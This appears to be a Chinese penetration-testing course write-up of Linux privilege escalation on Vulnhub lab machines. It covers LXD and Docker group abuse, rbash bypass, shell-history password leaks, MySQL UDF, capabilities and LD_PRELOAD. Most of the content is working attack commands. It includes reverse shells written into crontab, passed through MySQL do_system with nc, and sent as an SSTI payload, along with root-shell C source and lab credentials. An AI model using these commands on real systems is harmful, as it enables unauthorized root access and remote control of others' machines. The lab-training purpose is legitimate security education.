第141-142天:Linux系统权限提升篇&Vulnhub&Capability能力&LD_Preload加载&数据库等

权限提升-Linux系统权限提升篇&Vulnhub&Rbash绕过&Docker&LXD容器&History泄漏&shell交互

应用场景:获取到Web权限或普通用户在Linux服务器上时进行的权限提升

SUID (Set owner User ID up on execution)是给予文件的一个特殊类型的文件权限。在Linux/Unix中,当一个程序运行的时候,程序将从登录用户处继承权限。SUID被定义为给予一个用户临时的(程序/文件)所有者的权限来运行一个程序/文件。用户在执行程序/文件/命令的时候,将获取文件所有者的权限以及所有者的UID和GID。

SUDO权限是root把本来只能超级用户执行的命令赋予普通用户执行,系统管理员集中的管理用户使用权限和使用主机,配置文件:/etc/sudoers,除此配置之外的问题,SUDO还有两个CVE漏洞(CVE-2019-14287 CVE-2021-3156)。

LXD、LXC 和 Docker 是三种不同的容器化技术,它们在实现和使用上有一些区别。
总结来说,LXD是基于LXC的系统级容器管理器,提供了更高级别的接口和管理工具;LXC是Linux内核提供的一种虚拟化技术,允许在单个Linux内核上运行多个隔离的用户空间实例;而Docker是基于LXC的容器化平台,提供了一套简化容器构建、分发和运行的工具和API。

LXD(Linux容器守护程序)是一个系统级容器管理器,它基于LXC(Linux容器)技术。LXD提供了更高级别的接口和管理工具,使得轻松创建和管理系统容器成为可能。LXD主要面向系统级容器,可以运行完整的操作系统镜像,并提供类似于虚拟机的环境。它提供了更好的隔离性、资源控制和安全性。

LXC(Linux容器)是Linux内核提供的一种虚拟化技术,它允许在单个Linux内核上运行多个隔离的用户空间实例。LXC提供了一组工具和API,用于创建和管理容器。LXC容器通常比LXD容器更加灵活和轻量级,可以定制底层操作系统的各个方面。LXC更适合于需要更细粒度控制的使用场景。

Docker是一个开源的容器化平台,它建立在LXC之上,并提供了一套更高级别的工具和API,使得容器的构建、分发和运行变得更加简单。Docker提供了一个容器镜像的集装箱模型,使得容器可以在不同的环境中进行移植和部署。Docker强调容器的可移植性和易用性,适用于开发、测试和部署应用程序的场景。

演示案例-Linux系统提权-普通用户-LXD容器

1
2
#原理
LXD是基于LXC容器的管理程序,当前用户可操作容器,理解为用户创建一个容器,再用容器挂载宿主机磁盘,最后使用容器权限操作宿主机磁盘内容达到提权效果。

lxd本地提权条件

  • -已经获得普通用户Shell
  • -用户属于lxd组

复现环境:https://www.vulnhub.com/entry/ai-web-2,357/

入口点

1
2
3
#普通用户
User: n0nr00tuser
Pass: zxowieoi4sdsadpEClDws1sf

image-20250912121821436

使用ssh进行链接:

image-20250912121903442

image-20250912122007262

脚本检测及利用

1
2
#直接上传对应的检测脚本
scp ./pass-ng/linpeas.sh n0nr00tuser@192.168.111.149:~

image-20250912122228078

image-20250912122641648

创建镜像容器,挂载磁盘,进入镜像容器,进入目录提权

容器地址:https://github.com/saghul/lxd-alpine-builder

同样还是使用scp命令将镜像上传上去。

image-20250912122949438

1
2
3
4
5
6
7
8
9
10
lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias test //导入这个镜像命名为test容器

lxc init test test -c security.privileged=true //初始化这个镜像

lxc config device add test test disk source=/ path=/mnt/root recursive=true //挂载镜像磁盘,镜像的/mnt/root目录就是真实下的/目录。

lxc start test //启动这个test容器
lxc exec test /bin/sh //获取这个test容器shell
cd /mnt/root/root //进入目录提权
cat flag.txt

image-20250912123114202

演示案例-Linux系统提权-普通用户-Docker容器

跟docker逃逸不同的是docker提权是拿到一个真实服务器上的普通用户后利用服务器上的docker进行权限提升,docker逃逸是逃逸,docker提权是提权,两回事。

1
2
3
4
5
6
7
#主要就两种情况
1、在docker里面
进行docker逃逸外加提权

2、不在docker里面(借助docker进行提权)
本机没有docker应用,就没有docker逃逸提权思路
本机如果有docker应用,使用docker进行提权(当前用户权限不在docker组里面)

Docker本地提权条件

1、已经获得普通用户Shell
2、用户属于docker组

1
2
3
4
把一个普通账号dockertest添加到docker组,使用newgrp更新docker组
usermod -G docker dockertest
newgrp docker
su dockertest

image-20250912124200768

其实就有点像特权挂载一样,就是可以将宿主机的所有目录进行挂载,从而实现提权,这里进行提权之后,其实不算是拿到了shell,而是得到了宿主机的所有文件,如果想要拿shell,只需要更改计划任务或者使用写对方root家目录的ssh密钥同样可以进行提权。

image-20250912124314952

1
docker run -v /:/mnt -it alpine //利用docker起一个镜像并把真机的/目录挂载到镜像的/mnt目录。

image-20250912124428842

vulnhub上对应的靶场

靶机下载地址:https://www.vulnhub.com/entry/chill-hack-1,622/

这里就不进行nmap扫描了, 因为是前面的web打点直接略过,由上面得知这个vmware的ip地址是逐步加1的,所以这里直接猜IP地址

入口点

1
2
3
普通用户
User: anurodh
Pass: !d0ntKn0wmYp@ssw0rd

检测及利用

手工查询

1
2
#手工检测就是,使用id命令
id

image-20250912142633199

1
scp pass-ng/linpeas.sh anurodh@192.168.111.151:~

image-20250912143048741

同样是使用,scp进行上传。

image-20250912143259284

创建容器,挂载磁盘,进入容器,进入目录提权

1
2
docker run -v /:/mnt -it alpine
cd /mnt/root

image-20250912143154937

总结:

1
2
3
4
1、破解/etc/shadow
2、写到宿主机ssh密钥
3、写到宿主机计划任务
4、CVE漏洞直接利用反弹

演示案例-Linux系统提权绕过-普通用户-Rbash绕过

参考文章:https://xz.aliyun.com/news/7237

1
2
3
4
5
Rbash(The Restricted mode of bash),也就是限制型bash(有些命令执行不了)
在渗透测试中可能遇到rbash,尝试绕过后才能进行后续操作
adduser rbashtest //创建rbashtest用户
passwd rbashtest //设置rbashtest密码,不设置这用户用不了
usermod -s /bin/rbash rbashtest //将rbashtest用户添加到rbash组

复现环境:https://www.vulnhub.com/entry/funbox-rookie,520/

image-20250912143552021

如果是rbash用户,你连命令都执行不了。

入口点

1
fscan -h 192.168.84.0/24

这个靶场需要使用virbox进行导入,如果使用vmware导入是可以导入,但是没有网。。

image-20250912151443806

这个时候应该就是192.168.84.65这个ip地址了。

image-20250912151624298

由于fscan已经扫描出匿名用户登陆了,所以这里直接使用匿名用户进行登陆

1
anonymous

image-20250912151828162

这里有很多压缩包。

1
get tom.zip(解压密码iubire)

这里学习一下使用john破解压缩包的方式:

1
zip2john tom.zip > zip_hash.txt		#首先将hash值导出来

image-20250912152146908

1
2
sudo gunzip /usr/share/wordlists/rockyou.txt.gz		#这是一个字典文件,首次使用需要进行解压
john --wordlist=/usr/share/wordlists/rockyou.txt zip_hash.txt #进行爆破

image-20250912152232810

image-20250912152341736

得到一个密钥,使用这个密钥尝试进行登陆

1
ssh tom@192.168.84.65 -i id_rsa

image-20250912152441796

执行任何命令都没有反应,这里猜测是rbash限制了。

Rbash绕过

检查当前shell是否是rbash:

1
cd /tmp		#只需要在命令中有/就行

image-20250912152901839

image-20250912153505548

1
awk 'BEGIN {system("/bin/sh")}'

image-20250912153526634

历史泄漏提权

1
2
3
4
5
6
#需要使用豌豆荚进行检测
使用python在本地开启一个http的服务,然后让目标主机进行下载
wget http://192.168.84.184:8000/linpeas.sh

history //查看执行的历史命令,里面有可能会泄露一些敏感信息。
cat /home/tom/.mysql_history //泄露root密码

image-20250912155917807

1
su root(xx11yy22!)  

image-20250912160003796

演示案例-Linux系统提权-web/普通用户-docker逃逸&提权&shell交互

image-20250912160105098

image-20250912160116262

写到宿主机计划任务反弹shell

1
echo -e "* * * * * root bash -i >& /dev/tcp/192.168.111.131/4444 0>&1\n" >> /mnt/etc/crontab

写到宿主机计划任务反弹shell

1.ssh-keygen -t rsa //执行生成key命令

image-20250912160221606

1
2
id_rsa  #私钥
id_rsa.pub #公钥

2.将id_rsa.pub公钥上传到公网服务器中,目标上使用wget下载这个公钥下载到本地

1
2
3
#将公钥写入到宿主机authorized_keys文件中
mkdir /mnt/root/.ssh && touch /mnt/root/.ssh/authorized_keys
cat id_rsa.pub >> /root/.ssh/authorized_keys && chmod 600 /root/.ssh/authorized_keys && chmod 700 /root/.ssh/

3.ssh秘钥登录

1
2
3
4
自己的攻击机器上执行
cd /root/.ssh/
ssh -i id_rsa root@目标IP
或者ssh直接连也行

权限提升-Linux系统权限提升篇&Vulnhub&Capability能力&LD_Preload加载&数据库等

一、演示案例-Linux系统提权-Web&用户-数据库类型

image-20250912160918055

复现环境:https://www.vulnhub.com/entry/raven-2,269/

这里sqlserver是linux装不上,redis虽然windows能装,但是针对redis的提权和拿shell的方案,在windows都用不上。

1、信息收集

image-20250912162458324

1
http://192.168.111.152/vendor/

image-20250912162437925

image-20250912162530100

2、Web权限获取

1
searchsploit phpmailer

image-20250912162554427

1
2
find / -name 40974.py
cp /usr/share/exploitdb/exploits/php/webapps/40974.py p.py

image-20250912163158366

image-20250912163825566

起好监听:

image-20250912164038927

image-20250912164032902

访问这个地址就可以反弹shell。

1
python -c 'import pty; pty.spawn("/bin/bash")' //起一个交互式终端

image-20250912164210541

image-20250912164225450

3、MYSQL-UDF提权

1
#两种提权方式:1、用梭哈工具(注意外联问题) 2、手工操作(不需要外联)

编译UDF.so

1
2
3
searchsploit udf
cp /usr/share/exploitdb/exploits/linux/local/1518.c . //复制到当前所在文件夹
gcc -g -shared -Wl,-soname,1518.so -o udf.so 1518.c -lc

image-20250912164411958

1
python -m http.server 5757

image-20250912164544523

连接进行导出调用

1
2
3
4
5
6
7
mysql -uroot -pR@v3nSecurity		#前面得到的账号密码
select version(); //查看mysql版本
select @@basedir; //确认mysql安装位置
show variables like '%basedir%'; //确认mysql安装位置
show variables like '%secure%'; //查看可导出文件位置
show variables like '%plugin%'; //查找插件位置
show variables like '%compile%'; //查看系统版本

image-20250912164914260

1
2
3
4
5
6
7
8
9
10
11
use mysql;
// 创建xiaodi表
create table xiaodi(line blob);
// 往xiaodi表中插入二进制的udf.so
insert into xiaodi values(load_file('/tmp/udf.so'));
insert into xiaodi values(load_file('/var/www/html/wordpress/udf.so'));
// 导出udf.so到其他位置
select * from xiaodi into dumpfile '/usr/lib/mysql/plugin/udf.so';
// 创建do_system自定义函数并执行命令
create function do_system returns integer soname 'udf.so';
select do_system('nc 192.168.111.131 6666 -e /bin/bash');

image-20250912165207416

演示案例-Linux系统提权-Web&用户-Capability能力

参考链接:https://www.cnblogs.com/f-carey/p/16026088.html

web权限和普通用户权限都可以查看能力,控制具体权限的是能力,什么能力什么程序就可以得到什么权限。

1、入门

1
2
3
4
5
6
cp /usr/bin/php /tmp/php
chmod 777 /tmp/php
设置能力:setcap cap_setuid+ep /tmp/php
删除能力:setcap -r /tmp/php
查看单个能力:getcap /usr/bin/php
查看所有能力:getcap -r / 2>/dev/null

image-20250912165445611

靶场wp:https://www.jianshu.com/p/60673ac0454f

靶场地址:https://www.vulnhub.com/entry/hacker-kid-101,719/

镜像老下载不好,理论分析吧。

image-20250912180903112

LD_Preload的概念

1
一些程序app在安装的时候,就已经把dll文件固定死了,就是程序启动会加载哪些dll文件(用前面学的东西就是dll劫持),那么ld_preload的意思就是可以在程序运行的时候调用其他的dll文件,有点像java的反射机制。

image-20250912184237753

学习他的意义就是当sudo遇到未知程序的时候,然后逆向水平不够,同时利用比较困难,如果这个时候有LD_PRELOAD权限就可以直接加载一个恶意的so文件,反弹shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
CAP_CHOWN 0 允许改变文件的所有权

CAP_DAC_OVERRIDE 1 忽略对文件的所有DAC访问限制

CAP_DAC_READ_SEARCH 2 忽略所有对读、搜索操作的限制

CAP_FOWNER 3 以最后操作的UID,覆盖文件的先前的UID

CAP_FSETID 4 确保在文件被修改后不修改setuid/setgid位

CAP_KILL 5 允许对不属于自己的进程发送信号

CAP_SETGID 6 允许改变组ID

CAP_SETUID 7 允许改变用户ID

CAP_SETPCAP 8 允许向其它进程转移能力以及删除其它进程的任意能力(只限init进程)

CAP_LINUX_IMMUTABLE 9 允许修改文件的不可修改(IMMUTABLE)和只添加(APPEND-ONLY)属性

CAP_NET_BIND_SERVICE 10 允许绑定到小于1024的端口

CAP_NET_BROADCAST 11 允许网络广播和多播访问(未使用)

CAP_NET_ADMIN 12 允许执行网络管理任务:接口、防火墙和路由等.

CAP_NET_RAW 13 允许使用原始(raw)套接字

CAP_IPC_LOCK 14 允许锁定共享内存片段

CAP_IPC_OWNER 15 忽略IPC所有权检查

CAP_SYS_MODULE 16 插入和删除内核模块

CAP_SYS_RAWIO 17 允许对ioperm/iopl的访问

CAP_SYS_CHROOT 18 允许使用chroot()系统调用

CAP_SYS_PTRACE 19 允许跟踪任何进程

CAP_SYS_PACCT 20 允许配置进程记帐(process accounting)

CAP_SYS_ADMIN 21 允许执行系统管理任务:加载/卸载文件系统、设置磁盘配额、开/关交换设备和文件等.

CAP_SYS_BOOT 22 允许重新启动系统

CAP_SYS_NICE 23 允许提升优先级,设置其它进程的优先级

CAP_SYS_RESOURCE 24 忽略资源限制

CAP_SYS_TIME 25 允许改变系统时钟

CAP_SYS_TTY_CONFIG 26 允许配置TTY设备

CAP_MKNOD 27 允许使用mknod()系统调用

CAP_LEASE 28 允许在文件上建立租借锁

CAP_SETFCAP 31 允许在指定的程序上授权能力给其它程序

image-20250912205624156

image-20250912210202391

image-20250912210122997

image-20250912205813672

2、vulnhub

复现环境:https://www.vulnhub.com/entry/hacker-kid-101,719/

WP参考:https://www.jianshu.com/p/60673ac0454f

1
2
saket
Saket!#$%@!!

image-20250912210218537

1
2
{% import os %}{{os.system('bash -c "bash -i &> /dev/tcp/192.168.139.141/6688 0>&1"')}}
http://192.168.139.156:9999/?name=%7B%25+import+os+%25%7D%7B%7Bos%2Esystem%28%27bash+%2Dc+%22bash+%2Di+%26%3E+%2Fdev%2Ftcp%2F192%2E168%2E139%2E141%2F6688+0%3E%261%22%27%29%7D%7D

image-20250912210233831

image-20250912210237782

1
/sbin/getcap -r / 2>/dev/null 		#查看所有能力

image-20250912210303087

image-20250912210339040

image-20250912210425291

1
2
3
python -m http.server 8080
wget http://192.168.139.141:8080/inject.py
for i in `ps -ef|grep root|grep -v "grep"|awk '{print $2}'`; do python2.7 inject.py $i; done

image-20250912210358804

1
nc 192.168.139.156 5600

image-20250912210440728

1
suid升级版,更细致的权限划分,当拿到权限后要先看下有哪些程序有能力,在对这些能力进行筛选利用。

演示案例-Linux系统提权-普通用户-LD_Preload加载&配合sudo

1
2
3
4
5
类似windows dll劫持,而linux是执行so文件,windows是执行dll文件

Defaults env_keep += LD_PRELOAD //设置开启LD_PRELOAD
test ALL=(ALL:ALL) NOPASSWD: /usr/bin/find //所有用户能不用密码就对这个find进行操作
#编辑:vim /etc/sudoers

image-20250912211037556

image-20250912211202460

1
一旦这样设置就会有两个安全问题:1、sudo提权 2、LD_Preload提权

LD_Preload提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#shell.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/sh");
}

#如果上面编译报错,就使用下面的

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/sh");
}

进行编译:

1
2
3
gcc -fPIC -shared -o shell.so shell.c -nostartfiles  	#编译这个shell.c文件为shell.so文件
ls -al shell.so
sudo LD_PRELOAD=/tmp/shell.so find #让find在执行的时候绑定编译好的so文件

image-20250912211418317

image-20250912211517581